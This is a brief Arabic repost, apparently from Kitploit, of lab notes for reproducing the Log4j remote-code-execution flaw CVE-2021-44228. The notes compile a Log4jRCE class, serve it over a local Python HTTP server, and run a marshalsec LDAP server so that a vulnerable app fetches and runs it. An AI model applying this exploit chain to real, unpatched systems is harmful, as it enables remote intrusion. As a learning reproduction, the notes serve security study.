Log4j-Rec-CVE-2021-44228 — إعادة إنتاج ثغرة Apache Log4j CVE-2021-44228 | Kitploit

Log4j-Rec-CVE-2021-44228 — إعادة إنتاج ثغرة Apache Log4j CVE-2021-44228 | Kitploit

مشاركة

ملاحظات إعادة إنتاج Log4j2، للتعلم فقط

المرجع: https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

إنشاء ملف قابل للتنفيذ

com/example/template

javac Log4jRCE.java

تشغيل خادم HTTP المدمج في Python

com/example/template
python -m http.server 8888

تشغيل خادم LDAP

tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

محاكاة هجوم الحقن عن طريق إرسال النموذج

com/example/hack/Hack.java

تنزيل الأداة